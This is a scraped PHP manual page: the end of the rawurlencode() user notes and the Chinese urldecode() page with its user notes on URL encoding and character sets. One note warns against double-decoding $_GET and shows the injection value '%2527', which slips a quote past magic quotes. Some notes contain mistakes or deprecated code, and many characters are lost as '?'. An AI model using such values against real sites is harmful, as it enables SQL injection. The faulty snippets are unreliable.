      $result = array();
      $arg_separator = ($arg_separator != '') ? (string) $arg_separator : ini_get('arg_separator.output');
      $enc_func = ($enc_type == PHP_QUERY_RFC3986) ? 'rawurlencode' : 'urlencode';
      foreach ($query_data as $key => $item) $result[] = (is_array($item) || is_object($item)) ? http_build_query($item, NULL, $arg_separator, $enc_type, ($base !== NULL) ? "$base%5B".$enc_func($key).'%5D' : $enc_func($key)) : (($base !== NULL) ? "$base%5B".$enc_func($key).'%5D='.$enc_func($item) : ((is_int($key) && $numeric_prefix !== NULL) ? (string) $numeric_prefix : '').$enc_func($key).'='.$enc_func($item));
      return implode($arg_separator, $result);
    }

  }
ToKaM 23-Oct-2010 03:32
Be careful here. rawurlencode changes ? to %C3%83%C2%A4 but firefox changes this internally to %c3%83%c2%a4. This could lead to bugs with rewrite loops.
Cheers.
bolvaritamas at vipmail dot hu 07-Oct-2010 06:25
I've written a simple function to convert an UTF-8 string to URL encoded string. All the given characters are converted!

The function:
<?php
function mb_rawurlencode($url){
$encoded='';
$length=mb_strlen($url);
for($i=0;$i<$length;$i++){
$encoded.='%'.wordwrap(bin2hex(mb_substr($url,$i,1)),2,'%',true);
}
return $encoded;
}
?>

Example:
<?php
echo 'http://example.com/',
    mb_rawurlencode('你好');
?>

The above example will output:
http://example.com/%e4%bd%a0%e5%a5%bd
hiroaki dot kawai at gmail dot com 22-Oct-2008 07:40
phpversion()>=5.3 will compliant with RFC 3986, while phpversion()<=5.2.7RC1 is not compliant with RFC 3986.

History of related RFCs:

RFC 1738 section 2.2
 only alphanumerics, the special characters "$-_.+!*'(),", and
 reserved characters used for their reserved purposes may be used
 unencoded within a URL.

RFC 2396 section 2.3
 unreserved  = alphanum | mark
 mark        = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")"

RFC 2732 section 3
 (3) Add "[" and "]" to the set of 'reserved' characters:

RFC 3986 section 2.3
 unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"

RFC 3987 section 2.2
 unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
herenvardo at gmail dot com 15-Aug-2008 04:11
I have to mention something about javier's post: the issue you are experiencing only happens because you are using ISO-8859-1 (a.k.a. ISO-LATIN-1) encoding, which is an extension of ASCII using the values 128-255 for latin specific characters (these characters are NOT part of ASCII). To say somethig like 0xF1 is the correct value for "?" in ASCII is wrong: any value equal or higher than 0x80 is invalid in ASCII; and there is no "correct" value for "?" in ASCII because the ASCII character set does not include that character.
These encode/decode functions are designed to work on UTF-8, which is an ASCII-compatible encoding for Unicode, thus being able to represent the entire Unicode character range.

The main point is: the "?±" you get is the 0xC3 0xB1 sequence, interpreted as two single-byte ISO-8859-1 characters; but if you interpret them as UTF-8, they indeed represent "?". If you are working with the latin character set and encoding, then you are fine with your method (which is essentially a utf-8 => iso-latin-1 converter).

For anybody who is using UTF-8 enconding, check if there is any issue before you use a method like javier's: these multi-byte values are actually the right way to represent any non-ASCII character on UTF-8.

For deeper details on the UTF-8 and ISO-8859-1 encodings, take a look at wikipedia:
http://en.wikipedia.org/wiki/UTF-8
http://en.wikipedia.org/wiki/ISO-8859-1
javier dot alejandro dot segura at gmail dot com 04-Jan-2008 11:40
<?php
/*
 :: Latin characters issue using rawurldecode() ::
    ------------------------------------------

What happen if you need tu convert this %C3%B1 into this '?' using rawurldecode()? Well, it doesn't work as we'd wish to. We'll get this "?±". To fix this issue, I've made the following function:

*/

    function urlRawDecode($raw_url_encoded)
    {
        # Hex conversion table
        $hex_table = array(
            0 => 0x00,
            1 => 0x01,
            2 => 0x02,
            3 => 0x03,
            4 => 0x04,
            5 => 0x05,
            6 => 0x06,
            7 => 0x07,
            8 => 0x08,
            9 => 0x09,
            "A"=> 0x0a,
            "B"=> 0x0b,
            "C"=> 0x0c,
            "D"=> 0x0d,
            "E"=> 0x0e,
            "F"=> 0x0f
        );

        # Looking for latin characters with a pattern like this %C3%[A-Z0-9]{2} ie. -> %C3%B1 = '?'
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i",$raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                    (0xc0 | ($hex_table[substr($value,0,1)]<<4)) | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace($res,$arr_unicoded,$raw_url_encoded);
        }

        # Return raw url decoded
        return rawurldecode($raw_url_encoded);
    }

# Testing
print "Decoded character -> " . urlRawDecode("%C3%B1");

// ouput:
//         Decoded chracter -> ?

/*

:: A little explanation about what does this function do ::
   -----------------------------------------------------

This function makes two binary operations between C3 and B1. To get an ASCII representation of this kind of raw url encoded character, we have to make a logical OR between HIGH nibble of 0xC3 (0xC) and HIGH nibble of 0xB1 (0xB) -> (0xC0 | 0xB0), then, a logical AND between both LOW nibble (0x03 & 0x01), and finally we have to make a logical OR between these two results -> [hex] ((0xC0 | 0xB0) | (0x03 & 0x01)) = [binary] ((1100 0000 | 1011 0000) | (0000 0011 & 0000 0001)) = [hex] 0xF1 = [binary] 1111 0001 = "?" character.

Hope to be helpfull, if you have an issue like this, try to use this function.

Bye,

Javi =)

*/
?>
christian _no interest in at spam dot com 25-Jan-2007 05:53
I had serious trouble with local Windows paths containing umlauts on my Apache 2 / Windows NT machine. Apache could not find any of those files if I just used rawurlencode. It's not noted anywhere here, but you fix this by simply making your path utf8 first:

rawurlencode(utf8_encode($str));
Tomek Perlak [tomekperlak at tlen pl] 13-Nov-2006 03:15
Note in regards to 'rickyale at ig dot com dot br' program:

Wouldn't the whole issue be fixed by using CHARSET=gb2312 in the HTML page?

I'm passing some data between the HTML form and an PHP program - my 'special' characters have to do with the Polish alphabet - and it looks like JavaScript encoding actually... works.

Of course, I could have tested only a limitted number of cases.

Just a thought.
piotr DOT wydrych AT gmail DOT com 29-Mar-2006 02:40
You can encode paths using:

<?php
$encoded = implode("/", array_map("rawurlencode", explode("/", $path)));
?>
jeroen at virtualhost dot nl 27-Feb-2006 03:55
On the comments of rickyale and djmaze...
Is what you try to achieve is not a combination of utf8 and url encoding, e.g. :

<?
$str = "bl?f Charl?ne";
$enc = urlencode(utf8_encode($str));
$str2 = utf8_decode(urldecode($enc));
echo "$str -> $enc -> $str2";
?>

will output:
bl?f Charl?ne -> bl%C3%B8f+Charl%C3%A8ne -> bl?f Charl?ne

At least works for me, Jeroen Hofstee
djmaze@dragonflycms 02-Feb-2006 03:36
Easier version to 'rickyale at ig dot com dot br' his example

<?php
function encode($text)
{
    $REQUEST_URI = str_replace('"', '%22', $text);
    // 0 - 128
    return preg_replace('#([\x3C\x3E])#e', '"%".bin2hex(\'\\1\')', $text);
}
?>
Just fill the regular expression with all characters that you need to have encoded.

NOTE: 142 and up in his array are language specific ASCII characters so the conversion to their unicode ('%C5%BD') equivelant may or may not work for you.
This needs a far more serious and bigger system to handle for non us tables
rickyale at ig dot com dot br 02-Dec-2005 08:15
As peter@nospam said, the microsoft uses an different table for encode string when sending data...

with some test i have created a table with this encodes for special char like ? ? ? ? ?

here is it for those who need know what is this table..

the index of array is the ord() of a character..
use with chr(index) to know the char.. and replace with the value.....

var    $ENCODE_TABLE = ARRAY(33=>'%21', 35=>'%23', 36=>'%24', 37=>'%25', 38=>'%26', 40=>'%28', 41=>'%29', 43=>'%2B', 44=>'%2C', 47=>'%2F', 58=>'%3A', 59=>'%3B', 60=>'%3C', 61=>'%3D', 62=>'%3E', 63=>'%3F', 91=>'%5B', 92=>'%5C', 93=>'%5D', 123=>'%7B', 124=>'%7C', 125=>'%7D', 142=>'%C5%BD', 192=>'%C3%80', 193=>'%C3%81', 194=>'%C3%82', 195=>'%C3%83', 196=>'%C3%84', 197=>'%C3%85', 199=>'%C3%87', 200=>'%C3%88', 201=>'%C3%89', 202=>'%C3%8A', 203=>'%C3%8B', 204=>'%C3%8C', 205=>'%C3%8D', 206=>'%C3%8E', 207=>'%C3%8F', 210=>'%C3%92', 211=>'%C3%93', 212=>'%C3%94', 213=>'%C3%95', 214=>'%C3%96', 217=>'%C3%99', 218=>'%C3%9A', 219=>'%C3%9B', 220=>'%C3%9C', 221=>'%C3%9D', 224=>'%C3%A0', 225=>'%C3%A1', 226=>'%C3%A2', 227=>'%C3%A3', 228=>'%C3%A4', 229=>'%C3%A5', 231=>'%C3%A7', 232=>'%C3%A8', 233=>'%C3%A9', 234=>'%C3%AA', 235=>'%C3%AB', 236=>'%C3%AC', 237=>'%C3%AD', 238=>'%C3%AE', 239=>'%C3%AF', 242=>'%C3%B2', 243=>'%C3%B3', 244=>'%C3%B4', 245=>'%C3%B5', 246=>'%C3%B6', 249=>'%C3%B9', 250=>'%C3%BA', 251=>'%C3%BB', 252=>'%C3%BC', 253=>'%C3%BD', 255=>'%C3%BF');

example::

function encode($text) {
    while(list($ord, $enc) = each($ENCODE_TABLE)) {
    $text = str_replace(chr($ord), $enc, $text);
    }
return $text;
}

hope this help ...
ulterior AT one.lt 31-Aug-2005 05:48
In addition to my last post I would like to add that, this function is for the "directories/somefile.ext" paths

In order to construct valid ftp url (with password added in it )
do this

$valid_path = "ftp://" . rawurlencode($user) . ":" . rawurlencode($pass) . ftp_url_encode($your_server_path_to_file)

Last function will encode path url so that language characters remain untouched and you get same file name for download after download dialog appears.
ulterior AT one.lt 30-Aug-2005 12:20
This seems the correct way to encode ftp url which you could provide for your users:

function ftp_url_encode($string) {

   $hex="";
   $retstr = "";
   for ($i=0; $i < strlen($string) ;$i++) {

     $char = $string[$i];
     if(($char >= '0' && $char <= '9') || ($char >= 'A' && $char <= 'Z') || ($char >= 'a' && $char <= 'z') || $char == '.' || $char == '-' || $char == '/' || (ord($char) >=128) ) $retstr .= $char;
     else
     $retstr .= "%".strtoupper(dechex(ord($string[$i])));

   }
   return $retstr;
}

Browsers mangle certain language characters
peter at nospam dot webgains dot com 31-May-2005 01:38
The microsoft URLEncode method ignores the documentation in RFC1738 which states that:

".... the special characters "$-_.+!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL"

So for example, myaddress@mydomain.com becomes myaddress%40mydomain%2Ecom, whereas php and other languages would encode this as myaddress%40mydomain.com

This can be an issue when porting from asp or if you are doing string comparison of strings urlencoded on different platforms.

NB. php will correctly decode myaddress%40mydomain%2Ecom to myaddress@mydomain.com, it is only the encoding that differs
Lucas Gonze -- lucas at gonze dot com 06-Jan-2005 10:01
I have attempted to incorporate all of the previous comments, plus several bug fixes, into  dphantom's linkencode.  I see no bugs for these test cases:
http://example.com/path1;var1=val1/p2;v2
http://example.com/p1;v1/p2;v2
http://[ip:v6:440]:8080
http://example.com:8080
http://example.com/~joe
http://example.com/foobar/~joe
http://username:password@hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
http://invalid_host..name/

function linkencode($p_url){
   $uparts = @parse_url($p_url);

   $scheme = array_key_exists('scheme',$uparts) ? $uparts['scheme'] : "";
   $pass = array_key_exists('pass',$uparts) ? $uparts['pass']  : "";
   $user = array_key_exists('user',$uparts) ? $uparts['user']  : "";
   $port = array_key_exists('port',$uparts) ? $uparts['port']  : "";
   $host = array_key_exists('host',$uparts) ? $uparts['host']  : "";
   $path = array_key_exists('path',$uparts) ? $uparts['path']  : "";
   $query = array_key_exists('query',$uparts) ? $uparts['query']  : "";
   $fragment = array_key_exists('fragment',$uparts) ? $uparts['fragment']  : "";

   if(!empty($scheme))
     $scheme .= '://';

   if(!empty($pass) && !empty($user)) {
     $user = rawurlencode($user).':';
     $pass = rawurlencode($pass).'@';
   } elseif(!empty($user))
     $user .= '@';

   if(!empty($port) && !empty($host))
       $host = ''.$host.':';
   elseif(!empty($host))
       $host=$host;

   if(!empty($path)){
     $arr = preg_split("/([\/;=])/", $path, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $path = "";
     foreach($arr as $var){
       switch($var){
       case "/":
       case ";":
       case "=":
         $path .= $var;
         break;
       default:
         $path .= rawurlencode($var);
       }
     }
     // legacy patch for servers that need a literal /~username
     $path = str_replace("/%7E","/~",$path);
   }

   if(!empty($query)){
     $arr = preg_split("/([&=])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $query = "?";
     foreach($arr as $var){
       if( "&" == $var || "=" == $var )
         $query .= $var;
       else
         $query .= urlencode($var);
     }
   }

   if(!empty($fragment))
     $fragment = '#'.urlencode($fragment);

   return implode('', array($scheme, $user, $pass, $host, $port, $path, $query, $fragment));
}
Andrew Eigus 24-Jan-2003 03:31
note that if you implement your own server request engine in the HTTP manner like:

GET $request_uri

you should first split all parts of the $request_uri path and rawurlencode() each part, then concatenate those parts back again.  this function will translate the URI correctly:

function translate_uri($uri) {
    $parts = explode('/', $uri);
    for ($i = 0; $i < count($parts); $i++) {
      $parts[$i] = rawurlencode($parts[$i]);
    }
    return implode('/', $parts);
}

because if you do rawurlencode() over the whole URI, path separator characters '/' are also encoded and request will not happen to be correct.  '/' characters should not be encoded, only those parts in between.

hope this helps someone like me...
15-Nov-2002 07:30
Note that RFC 1738 has been amended:
The "[" and "]" are no longer considered unsafe, but instead are now considered "reserved", meaning that they CAN be used in URLs!

Currently this usage has only been allowed in the hostname part, but there are some proposals to allow such use in some URL schemes. Similar extensions are now found that use the "{}" characters as "reserved" characters with special semantics, instead of "unsafe" characters that must be URL encoded...

Note also that some characters are currently "reserved" but should have instead been considered as "unsafe": this includes the parenthesis "()" which are clearly unsafe when a URL is used in MIME headers.

Because of this, if a valid URL contains "()" characters, one should use an upper-level encoding to either enclose the URL with a pair of "unsafe" characters defined in the upper-level protocol (for example a "<>" pair in MIME headers, because these characters cannot be part of a valid URL)...
15-Nov-2002 07:20
About the ";" reserved character in URLs:

rawurlencode() will encode it with a "%2A" triplet. When used on the path part of a URL, this will break the usage defined in URL RFCs, that allows specifying additional parameters to *EACH* element of a path (separated by "/").

So if a path element contains a ";" character (some filesystems allow it, but this is not recommanded) as part of a directory name, this character must be encoded so that it won't be mixed with a parameter extension.

This mapping is allowed on URLs that use a hierarchical scheme (HTTP, HTTPS, FTP, FILE, ...), so that each path element prefixed by "/" can have additional navigational parameters such as authorization strings or semantic parameters.

The generic format of a path element may include path elements such as:
"/." or "/.." or "/.specialname" or "/regularname"
Each part may be followed by a ";" and other parameters separated by ";". These parameters can be eithger ordered or unordered. Unordered parameters have a symbolic name separated from their value with an equal sign.

Do not mix path element parameters with a query string: these parameters are directly attached to the individual path element, and this makes a difference when this path element is not the last one of the URL. These parameters are part of the resource name (unlike the query string), and the semantic of "." and ".." apply to the full path element with its parameters, so that:
"/subdir1/subdir2/page.html;CHARSET=gb2312/../index.html"
will resolve to "/subdir1/index.html".

Note that:
"/subdir1/subdir2/page.html;CHARSET=gb2312"
designates a DISTINCT resource name from:
"/subdir1/subdir2/page.html"
It does not necessarily involves a query, and so it can be cached by default (unlike URLs that contain a query string).

When using path element parameters, their optional name and required value must be rawurlencode()'d separately before inserting ";" and "=" parameters and creating the path elements that will be imploded in the full path.

The consequence is that you MUST not urlencode() or rawurlencode individual path elements, without first parsing them:
- first explode the path into its path lements separated by "/"
- then explode each path element in their name and parameters separated by ";" characters
- then split path element parameters that contain a "=" sign into a name/value pair.
- make sure that unordered path paremeters (that have been cut according to "=" into a pair) are specified *after* ordered parameters (including the main path element name) in each path element, and that no two unordered parameters have the same name (this restriction does not occur on unordered, unnamed parameters which only supply a value).
- finally you can interpret rawurlencoded names and values that constitute each path element.

Note also that some non-compliant HTTP servers consider that named parameters are ordered, and don't add a semantic to the ";" and "=" used to break up the list of path element parameters. On client agents, when validating URLs, it's best then not to try to interpret this list, and you should just split the main part of a path element and the parameters list by isolating the first ";" that introduces this list. However, the encoded parameter list cannot include any "/" parameter.

Caveats: note that path element parameters (introduced by ";") may be used on upper levels of a hierarchic URL, even before the final document name and its query parameters. When building lists of URLs, you should not separate URLs blindly with a ";" separator, as each URL may include a ";" character, in their path part (the ";" character cannot ocur safely in a query string). In that case, use a surrounding pair such as "<>" or quotes to enclose each URL in such a list.
15-Nov-2002 06:41
--- 1) About "reserved" characters in URLS:

Beware that RFC 1738 specifies that the characters "{", "}", "|", "\", "^", "~", "[", "]", and "`" are all considered unsafe and SHOULD be URL-encoded with a "%xx" triplet within *ALL* URLs.

However, some HTTP URLs seem to use the "~" character as a prefix for a user account for example:
http://www.any.host.domain/~user/subpath/page.html?query#fragment

This usage is acceptable, but the RFC specifies that "%7E" should be used instead of "~" in the path component. HTTP servers should accept "~" as being equivalent to "%7E", and according to the RFC, the "%7E" form should be the canonical one.

However, some HTTP servers are not fully complying to this RFC and consider "%7E" differently from "~" (i.e. they consider it as being part of a path component name, and search a directory name containing a "~" character, instead of mapping the "~user" path component to a user's directory. In that case, these non compliant HTTP server will not find the resource associated to that URL and may return a 404 error or other errors such as an access denied.

When using rawurlencode() on such HTTP URLs, it's best to consider this legacy usage, by using str_replace() on the result to convert back "/%7E" to "/~", so that the URLs will correctly map to the legacy use of the "~" character by these servers. On compliant HTTP servers, they will treat the "~" unsafe character equivalently with the "%7E" recommanded form, so they will automatically canonicalize the "~" character into "%7E".

--- 2) Encoding of hostnames in URLs

Finally, beware that host domain names parts in URLs *MUST NOT* be encoded with rawurlencode(), as the "[" and "]" are valid delimiters that *MUST* be used to reference an IPv6 address or other hostnames that don't fit to the restricted set of characters allowed in a host name (the "[" and "]" characters MUST be used if the hostname includes characters such as ":" which is typically used to specify an alternate non-default port number).

The encoding of host names uses another encoding, required to encode international domain names, with a base-64 encoding of Unicode characters and a "bq--" prefix. This encoding must be used only on individual subdomain parts (separated by "." characters). This encoding does not use any "%xx" triplets.

So NEVER use urlencode() or rawurlencode() on an unparsed URL, unless this full URL is part of a query parameter string!

--- 3) Encoding of username/passwords in URLs:

There is no standard to specify a password in a URL. In fact, there's a legacy usage of the ":" character to separate a username from a password, but it is strongly discouraged. The RFC does not attempt to specify a semantic to the authentication part of an URL (before the "@" character and the hostname part).

If you need to encode a password, always use rawurlencode() on username and passwords separately, and then insert the ":" character to separate both components. Don't use urlencode() (which could use a "+" to encode a space, and would not work because usernames and passwords consider "+" and spaces as being different!)
13-Sep-2002 05:06
rawurlencode() MUST not be used on unparsed URLs.

rawurlencode() should not be used on host and domain name parts (that may include international characters encoded in each domain part with a "q--" prefix followed by a special encoding of the international domain, currently in testbed).

rawurlencode() may be used on usernames and passwords separately (so that it won't encode the ':' and '@' separators).

rawurlencode() must not be used on paths (that may contain '/' separators): the ['path'] element of a parsed URL must first be exploded into individual "directory" names. A directory or filename that contains a space must not be encoded with urlencode() but with this rawurlencode(), so that it will appear as a '%20' hex sequence (not '+')

rawurlencode() must not be used to encode the ['query'] element of a parsed URL. Instead you must use the urlencode() function:

Typical queries often use the '&' separator between each parameter. This '&' separator however is just a convention, used in the www-url-encoded format for HTML forms using the default GET method. However, when references are done in a HTML page to an URL that contains static query parameters, these '&' separators should be encoded in the HTML code as '&amp;' for HTML conformance. This is not part of the URL specification, but of the HTML encapsulation! Some browsers forget this, and send '&amp;' with their HTTP GET query. You may wish to substitute '&amp;' by '&' when parsing and validating URLs. This should be done BEFORE calling urlencode() on query parts.

The ['fragment'] part of a parsed URL (after the first '#' separator found in any URL) must not be encoded with this rawurlencode() function but instead by urlencode().

Validating a URL sent in a HTTP request is then more complicated than what you may think. This must be done only on parsed URLs (where the basic elements of an URL have been splitted), and then you must explode the path components, and check the presence of '&amp;' sequences in the query or fragment parts.

The next thing to do is to check the URL scheme that you want to support (for example, only 'http', 'https', or 'ftp').

You may wich to check the ['port'] part to see if it's really a decimal integer between 1 and 65535.
You may wish to remove the default port number used by the URL schemes you want to support (for example the port '80' for 'http', the port '21' for 'ftp', the port '443' for 'https'), and restrict severely all port numbers below 1024, or some critical ports below 140 (this includes DNS and NetBios ports).

Then you may wish to control severely the ['host'] part (in fact a full host domain name or an IP address), by forbidding those host names that don't contain at least one dot, forbidding those that start with a dot, those that contain two consecutive dots, those that start or finish with a '-' dash, those that contain '.-' or '-.' (invalid in all domain names), those that contain two dashes in another position than the second and third character of a domain name part and not folled by at least one other character, forbid top level domain names that have only one non numeric character, or more than 6 characters (".museum" is, for now, the longest acceptable TLD), check that pseudo-TLD names that are pure integers are effectively between 0 and 255, in that case check that this is a valid IPv4 address by comparing it to long2ip(ip2long($host)), ...

This done, you must use the urlencode() function on all parts up to the exploded path elements, and rawurlencode() on the query and fragment parts, according to the specs, to recreate a complete and validated URL.
dphantom at ticino dot com 03-Feb-2002 02:48
PHP's functions rawurlencode() and urlencode(), both encode the whole argument parameter string, making the result useless as a valid link.

The function listed here encodes a link string (e.g. http://www.domain.com/long_path/to\file.php?query=param#fragm) to a valid <a href=""> parameter string, preserving the original URI structure and the path given.

function linkencode ($p_url) {
    $ta = parse_url($p_url);
    if (!empty($ta[scheme])) { $ta[scheme].='://'; }
    if (!empty($ta[pass]) and !empty($ta[user])) {
            $ta[user].=':';
            $ta[pass]=rawurlencode($ta[pass]).'@';
    } elseif (!empty($ta[user])) {
        $ta[user].='@';
    }
    if (!empty($ta[port]) and !empty($ta[host])) {
        $ta[host]=''.$ta[host].':';
    } elseif    (!empty($ta[host])) {
        $ta[host]=$ta[host];
    }
    if (!empty($ta[path])) {
        $tu='';
        $tok=strtok($ta[path], "\\/");
        while (strlen($tok)) {
            $tu.=rawurlencode($tok).'/';
            $tok=strtok("\\/");
        }
        $ta[path]='/'.trim($tu, '/');
    }
    if (!empty($ta[query])) { $ta[query]='?'.$ta[query]; }
    if (!empty($ta[fragment])) { $ta[fragment]='#'.$ta[fragment]; }
    return implode('', array($ta[scheme], $ta[user], $ta[pass], $ta[host], $ta[port], $ta[path], $ta[query], $ta[fragment]));
}


解码已编码的 URL 字符串

  • ? rawurlencode
  • urlencode ?
  • PHP Manual
  • URL 函数
  • 解码已编码的 URL 字符串

urldecode

(PHP 4, PHP 5, PHP 7, PHP 8)

urldecode — 解码已编码的 URL 字符串

说明

urldecode(string $string): string

解码给出的已编码字符串中的任何 %##。 加号（'+'）被解码成一个空格字符。

参数

string

要解码的字符串。

返回值

返回解码后的字符串。

示例

Example #1 urldecode() 示例

<?php
$query = "my=apples&are=green+and+red";

foreach (explode('&', $query) as $chunk) {
$param = explode("=", $chunk);

if ($param) {
printf("Value for parameter \"%s\" is \"%s\"<br/>\n", urldecode($param[0]), urldecode($param[1]));
}
}
?>

注释

Warning

超全局变量 $_GET 和 $_REQUEST 已经被解码了。对 $_GET 或 $_REQUEST 里的元素使用 urldecode() 将会导致不可预计和危险的结果。

参见

  • urlencode() - 编码 URL 字符串
  • rawurlencode() - 按照 RFC 3986 对 URL 进行编码
  • rawurldecode() - 对已编码的 URL 字符串进行解码
  • » RFC 3986

User Contributed Notes

bloodjazman at gmail dot com 16-Apr-2020 09:37
"+" replaced by space according to HTML x-www-form-url-encoded media type
see http://www.faqs.org/rfcs/rfc1866.html
Soaku 30-Aug-2017 05:28
Even if $_GET and $_REQUEST are decoded automatically, some other variables aren't. For example $_SERVER["REQUEST_URI"]. Remember to decode it when using.
OZLperez11 at gmail dot com 01-Oct-2015 05:26
When sending a string via AJAX POST data which contains an ampersand (&), be sure to use encodeURIComponent() on the javascript side and use urldecode() on the php side for whatever variable that was. I've found it tricky to transfer raw ampersands and so this is what worked for me:
<?php

$_POST["data"] = "one%20%26%20two";
$a = urldecode($_POST["data"); // -> "one & two"

?>
For some reason, a variable with an ampersand would stay encoded while other POST variables were automatically decoded. I concatenated data from an html form before submitting, in case you wish to know what happened on the browser end.
aravind dot a dot padmanabhan at gmail dot com 02-Sep-2013 10:26
It seems that the $_REQUEST global parameter is automatically decoded only if the content type is application/x-www-form-urlencoded.

if the content type is multipart/form-data. the data remains un-decoded. and we have to manually handle the decoding at our end
alejandro at devenet dot net 14-Dec-2010 06:27
When the client send Get data, utf-8 character encoding have a tiny problem with the urlencode.
Consider the "o" character.
Some clients can send (as example)
foo.php?myvar=%BA
and another clients send
foo.php?myvar=%C2%BA (The "right" url encoding)

in this scenary, you assign the value into variable $x

<?php
$x = $_GET['myvar'];
?>

$x store: in the first case "?" (bad) and in the second case "o" (good)

To fix that, you can use this function:

<?php
function to_utf8( $string ) {
// From http://w3.org/International/questions/qa-forms-utf-8.html
    if ( preg_match('%^(?:
      [\x09\x0A\x0D\x20-\x7E]            # ASCII
    | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
    | \xE0[\xA0-\xBF][\x80-\xBF]         # excluding overlongs
    | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
    | \xED[\x80-\x9F][\x80-\xBF]         # excluding surrogates
    | \xF0[\x90-\xBF][\x80-\xBF]{2}      # planes 1-3
    | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
    | \xF4[\x80-\x8F][\x80-\xBF]{2}      # plane 16
)*$%xs', $string) ) {
        return $string;
    } else {
        return iconv( 'CP1252', 'UTF-8', $string);
    }
}
?>

and assign in this way:

<?php
$x = to_utf8( $_GET['myvar'] );
?>

$x store: in the first case "o" (good) and in the second case "o" (good)

Solve a lot of i18n problems.

Please fix the auto-urldecode of $_GET var in the next PHP version.

Bye.

Alejandro Salamanca
mail dot roliveira at gmail dot com 19-May-2009 04:50
Send json to PHP via AJAX (POST)

If you send json data via ajax, and encode it with encodeURIComponent in javascript, then on PHP side, you will have to do stripslashes on your $_POST['myVar'].

After this, you can do json_decode on your string.

Ex.:

<?php
// first use encodeURIComponent on javascript to encode the string
// receive json string and prepare it to json_decode
$jsonStr = stripslashes ($_POST['action']);
// decode to php object
$json = json_decode ($jsonStr);

// $json is now a php object
?>
Jan Vratny 12-Jun-2008 05:09
mkaganer at gmail dot com:

try using encodeURI() instead of encode() in javascript. That worked for me, while your solution did not on __some__ national characters (at least in IE6).
Joe 03-Apr-2008 11:11
It's worth pointing out that if you are using AJAX and need to encode strings that are being sent to a PHP application, you may not need to decode them in PHP.

<?php
echo stripslashes(nl2br($_POST['message']));
?>

Will properly output a message sent with the javascript code if the message is encoded:

message = encodeURIComponent(message)

And is sent with an AJAX POST request with the header:
ajaxVar.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
mkaganer at gmail dot com 04-Dec-2007 02:58
B.H.

I had troubles converting Unicode-encoded data in $_GET (like this: %u05D8%u05D1%u05E2) which is generated by JavaScript's escape() function to UTF8 for server-side processing.

Finally, i've found a simple solution (only 3 lines of code) that does it (at least in my configuration):

<?php
  function utf8_urldecode($str) {
    $str = preg_replace("/%u([0-9a-f]{3,4})/i","&#x\\1;",urldecode($str));
    return html_entity_decode($str,null,'UTF-8');;
  }
?>

note that documentation for html_entity_decode() states that "Support for multi-byte character sets was added at PHP 5.0.0" so this might not work for PHP 4
Visual 18-May-2006 12:02
If you are escaping strings in javascript and want to decode them in PHP with urldecode (or want PHP to decode them automatically when you're putting them in the query string or post request), you should use the javascript function encodeURIComponent() instead of escape(). Then you won't need any of the fancy custom utf_urldecode functions from the previous comments.
rosty dot kerei at gmail dot com 19-Apr-2006 09:40
This function doesn't decode unicode characters. I wrote a function that does.

function unicode_urldecode($url)
{
    preg_match_all('/%u([[:alnum:]]{4})/', $url, $a);

    foreach ($a[1] as $uniord)
    {
        $dec = hexdec($uniord);
        $utf = '';

        if ($dec < 128)
        {
            $utf = chr($dec);
        }
        else if ($dec < 2048)
        {
            $utf = chr(192 + (($dec - ($dec % 64)) / 64));
            $utf .= chr(128 + ($dec % 64));
        }
        else
        {
            $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
            $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
            $utf .= chr(128 + ($dec % 64));
        }

        $url = str_replace('%u'.$uniord, $utf, $url);
    }

    return urldecode($url);
}
spam at soiland dot no 05-Apr-2005 05:45
About reg_var and "html reserved words"

Do not add spaces as the user suggests.

Instead, do what all HTML standards says and encode & in URLs as &amp; in your HTML.

The reason why & works "most of the time" is that browsers are forgiving and just decode the & as the &-sign. This breaks whenever you have a variable that matches an HTML entity, like "gt" or "copy" or whatever. &copy in your URL will be interpreted as &copy;  (the ; is not mandatory in SGML as it is "implied". In XML it is mandatory.).   The result will be the same as if you had inserted the actual character into your source code, for instance by pressing alt-0169 and actually inserted ? in your HTML.

Ie, use:

<a href="?name=stain&amp;fish=knott">mylink</a>

Note that the decoding of &amp; to & is done in the browser, and it's done right after splitting the HTML into tags, attributes and content, but it works both for attributes and content.

This mean you should &entitify all &-s in any other HTML attributes as well, such as in a form with
<input name="fish" value="fish &amp; fries" />.
Matt Johnson 25-Dec-2004 04:49
A reminder: if you are considering using urldecode() on a $_GET variable, DON'T!

Evil PHP:

<?php
# BAD CODE! DO NOT USE!
$term = urldecode($_GET['sterm']);
?>

Good PHP:

<?php
$term = $_GET['sterm'];
?>

The webserver will arrange for $_GET to have been urldecoded once already by the time it reaches you!

Using urldecode() on $_GET can lead to extreme badness, PARTICULARLY when you are assuming "magic quotes" on GET is protecting you against quoting.

Hint: script.php?sterm=%2527 [...]

PHP "receives" this as %27, which your urldecode() will convert to "'" (the singlequote). This may be CATASTROPHIC when injecting into SQL or some PHP functions relying on escaped quotes -- magic quotes rightly cannot detect this and will not protect you!

This "common error" is one of the underlying causes of the Santy.A worm which affects phpBB < 2.0.11.
caribe at flash-brasil dot com dot br 13-Oct-2003 01:55
To allow urldecode to work with Brazilian characters as ? ? ? and other just place this header command :

header('Content-type: text/html; CHARSET=gb2312');
09-Oct-2003 08:17
nataniel, your function needs to be corrected as follows:

------------------------------------------------------------
function unicode_decode($txt) {
  return ereg_replace('%u([[:alnum:]]{4})', '&#x\1;',$txt);
}
------------------------------------------------------------

since some codes does not begin with %u0.
